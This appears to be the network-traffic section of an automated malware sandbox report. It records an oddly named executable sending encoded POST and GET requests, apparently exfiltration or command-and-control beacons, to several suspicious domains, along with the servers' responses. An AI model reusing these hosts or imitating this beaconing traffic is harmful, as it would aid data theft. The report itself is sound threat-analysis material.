Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	59104	3.33.130.190	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:28:13.799452066 CET	10897	OUT	POST /i4bc/ HTTP/1.1 Host: www.ladylawher.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.ladylawher.shop Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 10299 Referer: http://www.ladylawher.shop/i4bc/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 72 50 3d 43 35 30 4f 58 39 4a 46 56 4e 41 66 4b 64 4c 52 69 65 43 70 6f 31 67 4d 76 74 30 63 4a 56 4b 6b 63 4c 7a 7a 63 69 41 47 55 49 4b 69 6e 36 4b 5a 6a 6b 45 42 32 78 56 41 7a 6d 74 44 37 46 36 6d 45 31 51 63 4e 52 4c 6e 4e 66 79 59 44 62 36 59 51 62 53 69 73 45 64 46 57 33 58 4b 36 6f 30 73 52 44 42 41 33 51 36 37 35 4f 6c 62 6d 47 7a 43 52 36 4e 77 4c 30 55 53 4f 62 64 50 2b 47 47 4a 38 73 58 38 67 53 30 6a 79 33 34 32 6f 42 44 50 47 53 34 74 79 42 63 72 36 6d 51 31 56 4e 78 49 34 52 55 75 6b 53 39 39 6a 61 6d 4c 58 6c 56 42 6a 6a 4b 50 58 4f 36 58 63 51 4f 74 31 64 73 30 6b 34 68 47 47 55 78 46 79 64 6f 30 69 54 78 62 50 38 36 53 42 42 4c 4f 39 72 68 44 78 50 6c 47 2b 78 52 2f 6a 4d 44 4e 55 6e 64 58 63 37 51 77 39 77 2b 44 63 59 4f 33 59 47 70 68 6a 55 64 48 57 38 42 2b 68 58 6d 63 79 30 30 39 66 42 44 43 51 56 65 62 39 33 51 36 63 54 76 58 6e 41 6c 38 73 76 4b 6f 38 55 62 30 42 4a 37 64 62 6f 43 70 32 64 71 4e 47 51 53 4f 6c 69 45 50 30 2f 2b 32 78 63 56 32 78 6e 4f 53 62 2b 66 38 68 73 4d [TRUNCATED] Data Ascii: rP=C50OX9JFVNAfKdLRieCpo1gMvt0cJVKkcLzzciAGUIKin6KZjkEB2xVAzmtD7F6mE1QcNRLnNfyYDb6YQbSisEdFW3XK6o0sRDBA3Q675OlbmGzCR6NwL0USObdP+GGJ8sX8gS0jy342oBDPGS4tyBcr6mQ1VNxI4RUukS99jamLXlVBjjKPXO6XcQOt1ds0k4hGGUxFydo0iTxbP86SBBLO9rhDxPlG+xR/jMDNUndXc7Qw9w+DcYO3YGphjUdHW8B+hXmcy009fBDCQVeb93Q6cTvXnAl8svKo8Ub0BJ7dboCp2dqNGQSOliEP0/+2xcV2xnOSb+f8hsMfw+Z0Li2sGAz0bbUNJh73FvqDagdvqywTkcuHCsDSNmzvi2PpXX3KwHJ8Ofvpg0at7ruNenpGqDzNFyBz5N0G1pyZDTFfIY+AIpIT5Q7GGmKBsIewYqj7DKIwzT4sHVn5IIcwlNHa9CbvxvD+1iL5+jLjHOoG9fClNQ8oV+Bl6tEPdbWZAlt9CCYcAfysPWsFzPl4GQqQAfmGOz0Mk4AW2VPYSwfGhT7VkWdjT6ADXGFcQtEjl5mBFhFQso4LaoNsEdpjdhz0yMRGaGeIF7fwR2csJsM35TyW+sPvv1ovQDtMZx8jtW1e6fxFndrH9GeT8mw2BdVa5O4dIx2XjFB3ijSPliF3FO9Ej5thQFgrd96nsCjO/puDIQXRE7XKNh9bjHbfbtQmqWT9L5hjZ1Z4fAhpgpMOohKdQ5k6BiTC2XgcHGiUrdMvEAfKKyaQu7aMGXIqUcbWT4YBBhnpAVzQTzAoIE4IPZOLJ/M5CRfQqGnoP16RF4QB6pGZdgqKrV1kgTQ5+EUs/gRZG6E1+m9e1NH7qF6UdUea86W/Wh7y4q/5pfuodrbcCHJM9rCBRjH74sUK0LlOWukBUv8+OjhftFX1DvzYXdU1Obmt2LLKos4kTx5/e5exy9IFLePTXg6aXMUN6oCeXHuMSHU3fSLbbOWsqIZ+YH0RS [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	59105	3.33.130.190	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:28:17.199978113 CET	529	OUT	GET /i4bc/?rP=P7cuULF9RNNpbZDPqOSIjiALg+sZAwaoAqjHQXQRXIOUhYGrthov5xR31GNCxCywGXd8BQaSBdu7etG1CrfHuWVBHlP07YMsKwlH7wrGl8lSs0vEOZdyfzQ=&2p2h=vzYT2lDhJTZ0Ql HTTP/1.1 Host: www.ladylawher.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 13, 2024 09:28:17.826349974 CET	398	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 13 Nov 2024 08:28:17 GMT Content-Type: text/html Content-Length: 258 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 72 50 3d 50 37 63 75 55 4c 46 39 52 4e 4e 70 62 5a 44 50 71 4f 53 49 6a 69 41 4c 67 2b 73 5a 41 77 61 6f 41 71 6a 48 51 58 51 52 58 49 4f 55 68 59 47 72 74 68 6f 76 35 78 52 33 31 47 4e 43 78 43 79 77 47 58 64 38 42 51 61 53 42 64 75 37 65 74 47 31 43 72 66 48 75 57 56 42 48 6c 50 30 37 59 4d 73 4b 77 6c 48 37 77 72 47 6c 38 6c 53 73 30 76 45 4f 5a 64 79 66 7a 51 3d 26 32 70 32 68 3d 76 7a 59 54 32 6c 44 68 4a 54 5a 30 51 6c 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?rP=P7cuULF9RNNpbZDPqOSIjiALg+sZAwaoAqjHQXQRXIOUhYGrthov5xR31GNCxCywGXd8BQaSBdu7etG1CrfHuWVBHlP07YMsKwlH7wrGl8lSs0vEOZdyfzQ=&2p2h=vzYT2lDhJTZ0Ql"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	59106	113.20.119.31	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:28:22.883877039 CET	816	OUT	POST /c1ti/ HTTP/1.1 Host: www.primeproperty.property Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.primeproperty.property Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 199 Referer: http://www.primeproperty.property/c1ti/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 72 50 3d 5a 55 39 70 6a 4a 54 4d 7a 61 68 70 68 72 48 51 31 5a 70 47 37 63 77 54 64 31 66 66 33 66 35 44 54 62 73 46 33 65 55 71 4e 67 4e 4c 30 78 35 63 59 7a 4f 64 76 35 52 4e 73 6b 30 45 2b 58 52 30 6b 2f 48 7a 41 72 71 4c 6c 58 79 34 65 72 55 64 47 73 67 59 33 7a 6f 77 69 72 33 48 62 6b 71 50 78 70 45 5a 76 4e 36 67 71 52 37 64 70 69 32 51 72 47 44 6e 36 7a 57 55 6b 2f 42 66 49 41 6a 73 49 73 46 70 39 65 7a 46 72 33 31 49 6c 37 4e 67 76 73 73 7a 56 57 41 39 58 66 44 45 54 34 53 35 73 34 53 58 48 65 54 6c 5a 55 57 69 67 57 67 69 4b 4e 42 48 71 32 58 33 49 4a 76 46 43 36 35 52 31 51 3d 3d Data Ascii: rP=ZU9pjJTMzahphrHQ1ZpG7cwTd1ff3f5DTbsF3eUqNgNL0x5cYzOdv5RNsk0E+XR0k/HzArqLlXy4erUdGsgY3zowir3HbkqPxpEZvN6gqR7dpi2QrGDn6zWUk/BfIAjsIsFp9ezFr31Il7NgvsszVWA9XfDET4S5s4SXHeTlZUWigWgiKNBHq2X3IJvFC65R1Q==
Nov 13, 2024 09:28:23.952790022 CET	717	IN	HTTP/1.1 404 Not Found Server: openresty/1.25.3.2 Date: Wed, 13 Nov 2024 08:28:23 GMT Content-Type: text/html Content-Length: 561 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 35 2e 33 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.25.3.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	59107	113.20.119.31	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:28:25.425424099 CET	836	OUT	POST /c1ti/ HTTP/1.1 Host: www.primeproperty.property Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.primeproperty.property Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 219 Referer: http://www.primeproperty.property/c1ti/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 72 50 3d 5a 55 39 70 6a 4a 54 4d 7a 61 68 70 75 72 33 51 79 34 70 47 2b 38 77 51 53 56 66 66 35 50 35 48 54 61 51 46 33 66 67 36 4e 53 5a 4c 30 51 4a 63 62 33 36 64 69 5a 52 4e 6a 45 30 64 77 33 52 2f 6b 2f 4b 4d 41 71 47 4c 6c 58 6d 34 65 71 6b 64 47 2f 34 66 31 6a 6f 2b 72 4c 33 4a 45 30 71 50 78 70 45 5a 76 4e 75 4f 71 52 6a 64 75 53 6d 51 72 69 58 6b 30 54 57 62 6a 2f 42 66 4d 41 6a 6f 49 73 46 66 39 62 72 2f 72 78 78 49 6c 36 64 67 76 5a 59 30 41 6d 41 2f 59 2f 43 4a 61 4b 37 4f 6c 6f 58 32 4f 4d 7a 35 45 41 69 57 6f 77 74 34 62 38 67 51 34 32 7a 45 56 4f 6d 78 50 35 45 59 75 56 57 35 4e 36 39 69 2f 5a 61 77 73 6b 65 4c 42 52 41 57 69 69 59 3d Data Ascii: rP=ZU9pjJTMzahpur3Qy4pG+8wQSVff5P5HTaQF3fg6NSZL0QJcb36diZRNjE0dw3R/k/KMAqGLlXm4eqkdG/4f1jo+rL3JE0qPxpEZvNuOqRjduSmQriXk0TWbj/BfMAjoIsFf9br/rxxIl6dgvZY0AmA/Y/CJaK7OloX2OMz5EAiWowt4b8gQ42zEVOmxP5EYuVW5N69i/ZawskeLBRAWiiY=
Nov 13, 2024 09:28:26.498707056 CET	717	IN	HTTP/1.1 404 Not Found Server: openresty/1.25.3.2 Date: Wed, 13 Nov 2024 08:28:26 GMT Content-Type: text/html Content-Length: 561 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 35 2e 33 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.25.3.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	59108	113.20.119.31	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:28:27.977755070 CET	10918	OUT	POST /c1ti/ HTTP/1.1 Host: www.primeproperty.property Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.primeproperty.property Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 10299 Referer: http://www.primeproperty.property/c1ti/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 72 50 3d 5a 55 39 70 6a 4a 54 4d 7a 61 68 70 75 72 33 51 79 34 70 47 2b 38 77 51 53 56 66 66 35 50 35 48 54 61 51 46 33 66 67 36 4e 53 42 4c 30 69 52 63 5a 57 36 64 6a 5a 52 4e 71 6b 30 41 77 33 52 59 6b 37 75 49 41 72 36 39 6c 56 65 34 59 4a 73 64 54 36 4d 66 2f 6a 6f 2b 30 62 33 45 62 6b 71 57 78 70 55 56 76 4e 2b 4f 71 52 6a 64 75 51 75 51 73 32 44 6b 32 54 57 55 6b 2f 42 44 49 41 6a 51 49 73 64 50 39 62 66 76 6f 42 52 49 67 72 74 67 38 62 41 30 63 32 41 78 55 66 44 61 61 4b 6e 52 6c 6f 4c 63 4f 49 37 44 45 48 4b 57 71 6c 51 2f 47 49 74 4f 76 55 6a 4b 4f 75 71 38 41 75 77 76 6e 69 6d 54 4d 62 68 70 72 4b 71 6b 32 47 37 68 59 51 49 53 31 56 41 76 57 48 4a 41 36 4b 54 34 57 37 65 62 31 59 30 49 64 69 50 6f 55 46 35 4c 6d 74 2f 41 4e 75 4c 42 68 61 6d 6c 33 62 52 57 31 75 79 58 4e 59 37 32 62 59 75 49 77 79 58 69 74 77 31 75 44 68 6e 4e 77 47 50 7a 44 4c 61 41 53 37 59 36 58 55 73 67 56 75 30 6e 74 63 47 63 56 79 4c 36 46 62 36 69 4b 6e 56 69 5a 78 6b 43 54 63 4e 4b 4b 50 54 43 72 2f 46 70 32 67 49 [TRUNCATED] Data Ascii: rP=ZU9pjJTMzahpur3Qy4pG+8wQSVff5P5HTaQF3fg6NSBL0iRcZW6djZRNqk0Aw3RYk7uIAr69lVe4YJsdT6Mf/jo+0b3EbkqWxpUVvN+OqRjduQuQs2Dk2TWUk/BDIAjQIsdP9bfvoBRIgrtg8bA0c2AxUfDaaKnRloLcOI7DEHKWqlQ/GItOvUjKOuq8AuwvnimTMbhprKqk2G7hYQIS1VAvWHJA6KT4W7eb1Y0IdiPoUF5Lmt/ANuLBhaml3bRW1uyXNY72bYuIwyXitw1uDhnNwGPzDLaAS7Y6XUsgVu0ntcGcVyL6Fb6iKnViZxkCTcNKKPTCr/Fp2gINyFyvEZLJehskn+LUsd3r7EEXcpYO/FPiQz+4tLJh8WpnsABiS17kpqo+j6PrXzVtUob011EpT/8DxCULg6UcMfk1oiJFCl2AM9M6p0IE/kAXE25VCoBDbNPeUPo6rf6I6/tfnwJjG9TaI2y7v9cfByddXBIWvo7rEB0qqp3RrjLJr2nRGbhbyeoEst+Iop3kl6E44idD9RnJdOCIQyocCq0M+IeyMZawlESoCbBBkz2D57JhSmwpOAk7KORAaJC2rfWrtU4F420XiZ0Wy8Gv3C8WOJ4eviUlDcJmwbNr+T27Yrwa9w6ajTj5oswG0KUtk12HJAWvGNnem3aS24fhZQV/X1NCWXa/+u3oaizNMsWmqEyUUtMUG6uDfxCIfWnOG3w0L8kV+bNpYYSeu8te87E48XyQu0gQUpyJhCKH16LwELMuL7J2e4VOnmwRllZt5kU9rV0qjnbwb9S07s46iAxO+CfMYwWzySeMeTz6lfJmDZ1TxwNN0H9FYHuDGVdkDrEMzwx3gblkWFoGDlrXibqq8vFirB4YTuApCTJduxTjmnJWHxowl2NwOlNSY0d3W8MupuFPWHy+MMbfXIyRCxAY4nQ8zmcnQJ/9JRLH3GTEjeVEIqWdt8XSiZlN2ccu3Cfmjdazfx3cyxOEj94Z/qgWpCPfC+WVo [TRUNCATED]
Nov 13, 2024 09:28:29.091928959 CET	717	IN	HTTP/1.1 404 Not Found Server: openresty/1.25.3.2 Date: Wed, 13 Nov 2024 08:28:28 GMT Content-Type: text/html Content-Length: 561 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 35 2e 33 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.25.3.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	59109	113.20.119.31	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:28:30.516690016 CET	536	OUT	GET /c1ti/?rP=UWVJg+rBkYQ16c/k/c5G2tAQQlKC6rNVaa0x99kOYGF7jBYWQyWqu7Abjh8I3w9fm9z6F4PdgXfZGbhZEsJH8R4Ck+TUDnCQl4oBl/L9phTMmBOgy1HwiRs=&2p2h=vzYT2lDhJTZ0Ql HTTP/1.1 Host: www.primeproperty.property Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 13, 2024 09:28:31.599441051 CET	717	IN	HTTP/1.1 404 Not Found Server: openresty/1.25.3.2 Date: Wed, 13 Nov 2024 08:28:31 GMT Content-Type: text/html Content-Length: 561 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 35 2e 33 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.25.3.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	59110	47.129.103.185	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:28:37.267333984 CET	780	OUT	POST /usop/ HTTP/1.1 Host: www.kghjkx.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.kghjkx.xyz Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 199 Referer: http://www.kghjkx.xyz/usop/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 72 50 3d 36 45 7a 33 30 5a 57 58 4d 55 6e 44 6d 6d 4d 54 34 47 57 6d 5a 37 31 55 6e 4d 71 42 51 33 4c 5a 51 35 41 5a 36 7a 4f 5a 61 4b 6e 30 53 2f 51 63 62 50 6e 61 52 51 46 4f 75 54 39 48 46 75 57 35 39 73 53 65 74 6c 4a 72 6b 30 49 50 4d 73 48 63 44 30 41 78 4f 6c 45 66 42 73 4f 4c 57 79 35 69 74 55 77 57 2b 2f 74 32 4c 57 59 2b 67 65 31 75 61 75 68 63 31 76 4d 42 55 39 75 38 36 47 39 6d 72 4e 79 68 4d 45 5a 64 38 47 65 30 64 53 37 64 31 46 6b 43 6c 2b 52 65 5a 39 6a 34 41 48 41 64 44 43 45 6e 61 58 38 6a 68 50 6c 4e 4a 4a 51 47 55 2b 7a 54 73 32 53 61 56 47 71 76 2b 54 73 6e 2f 77 3d 3d Data Ascii: rP=6Ez30ZWXMUnDmmMT4GWmZ71UnMqBQ3LZQ5AZ6zOZaKn0S/QcbPnaRQFOuT9HFuW59sSetlJrk0IPMsHcD0AxOlEfBsOLWy5itUwW+/t2LWY+ge1uauhc1vMBU9u86G9mrNyhMEZd8Ge0dS7d1FkCl+ReZ9j4AHAdDCEnaX8jhPlNJJQGU+zTs2SaVGqv+Tsn/w==
